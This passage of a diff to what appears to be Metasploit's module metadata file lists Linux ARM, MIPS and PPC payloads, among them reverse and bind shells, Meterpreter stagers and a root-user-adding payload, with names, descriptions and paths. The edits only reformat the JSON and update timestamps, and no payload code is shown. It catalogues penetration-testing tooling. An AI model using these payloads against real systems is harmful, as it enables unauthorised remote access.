"/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armbe/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243558,9 +244917,7 @@ "payload_linux/armbe/shell_bind_tcp": { "name": "Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/linux/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243577,15 +244934,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armbe/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243594,9 +244950,7 @@ "payload_linux/armle/adduser": { "name": "Linux Add User", "fullname": "payload/linux/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243604,24 +244958,21 @@ "Jonathan Salwan" ], "description": "Create a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/armle/adduser.rb", "is_install_path": true, "ref_name": "linux/armle/adduser", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243630,9 +244981,7 @@ "payload_linux/armle/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243640,24 +244989,21 @@ "Jonathan Salwan" ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/armle/exec.rb", "is_install_path": true, "ref_name": "linux/armle/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243666,9 +245012,7 @@ "payload_linux/armle/meterpreter/bind_tcp": { "name": "Linux Meterpreter, Bind TCP Stager", "fullname": "payload/linux/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243677,24 +245021,21 @@ "nemo " ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243705,9 +245046,7 @@ "payload_linux/armle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243717,24 +245056,21 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-23 14:26:44 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243745,9 +245081,7 @@ "payload_linux/armle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243757,24 +245091,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243783,9 +245114,7 @@ "payload_linux/armle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243795,24 +245124,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243821,9 +245147,7 @@ "payload_linux/armle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243833,24 +245157,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243859,9 +245180,7 @@ "payload_linux/armle/shell/bind_tcp": { "name": "Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/linux/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243869,24 +245188,21 @@ "nemo " ], "description": "dup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243897,9 +245213,7 @@ "payload_linux/armle/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/linux/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243908,24 +245222,21 @@ "tkmru" ], "description": "dup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-23 14:26:44 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243936,9 +245247,7 @@ "payload_linux/armle/shell_bind_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243947,24 +245256,21 @@ "hal" ], "description": "Connect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243973,9 +245279,7 @@ "payload_linux/armle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243983,24 +245287,21 @@ "civ" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244009,9 +245310,7 @@ "payload_linux/mips64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244021,24 +245320,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244047,9 +245343,7 @@ "payload_linux/mips64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244059,24 +245353,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244085,9 +245376,7 @@ "payload_linux/mips64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244097,24 +245386,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mips64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244123,9 +245409,7 @@ "payload_linux/mipsbe/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244133,7 +245417,7 @@ "Michael Messner ", "entropy " ], - "description": "A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", + "description": "A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", "references": [ "EDB-17940" ], @@ -244143,15 +245427,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsbe/exec.rb", "is_install_path": true, "ref_name": "linux/mipsbe/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244160,9 +245443,7 @@ "payload_linux/mipsbe/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244172,24 +245453,21 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-15 04:31:53 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244200,9 +245478,7 @@ "payload_linux/mipsbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244212,24 +245488,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244238,9 +245511,7 @@ "payload_linux/mipsbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244250,24 +245521,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244276,9 +245544,7 @@ "payload_linux/mipsbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244288,24 +245554,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244314,9 +245577,7 @@ "payload_linux/mipsbe/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244324,7 +245585,7 @@ "Michael Messner ", "rigan - " ], - "description": "A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", + "description": "A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -244334,15 +245595,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsbe/reboot.rb", "is_install_path": true, "ref_name": "linux/mipsbe/reboot", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244351,9 +245611,7 @@ "payload_linux/mipsbe/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244362,24 +245620,21 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-15 04:31:53 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244390,9 +245645,7 @@ "payload_linux/mipsbe/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244403,24 +245656,21 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244429,9 +245679,7 @@ "payload_linux/mipsbe/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244449,15 +245697,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244466,9 +245713,7 @@ "payload_linux/mipsle/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244476,7 +245721,7 @@ "Michael Messner ", "entropy " ], - "description": "A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", + "description": "A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", "references": [ "EDB-17940" ], @@ -244486,15 +245731,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsle/exec.rb", "is_install_path": true, "ref_name": "linux/mipsle/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244503,9 +245747,7 @@ "payload_linux/mipsle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244515,24 +245757,21 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-15 04:31:53 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244543,9 +245782,7 @@ "payload_linux/mipsle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244555,24 +245792,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244581,9 +245815,7 @@ "payload_linux/mipsle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244593,24 +245825,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244619,9 +245848,7 @@ "payload_linux/mipsle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244631,24 +245858,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244657,9 +245881,7 @@ "payload_linux/mipsle/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244667,7 +245889,7 @@ "Michael Messner ", "rigan - " ], - "description": "A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", + "description": "A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -244677,15 +245899,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsle/reboot.rb", "is_install_path": true, "ref_name": "linux/mipsle/reboot", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244694,9 +245915,7 @@ "payload_linux/mipsle/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244705,24 +245924,21 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-15 04:31:53 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244733,9 +245949,7 @@ "payload_linux/mipsle/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244746,24 +245960,21 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244772,9 +245983,7 @@ "payload_linux/mipsle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244783,24 +245992,21 @@ "juan vazquez " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244809,9 +246015,7 @@ "payload_linux/ppc/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244821,24 +246025,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": 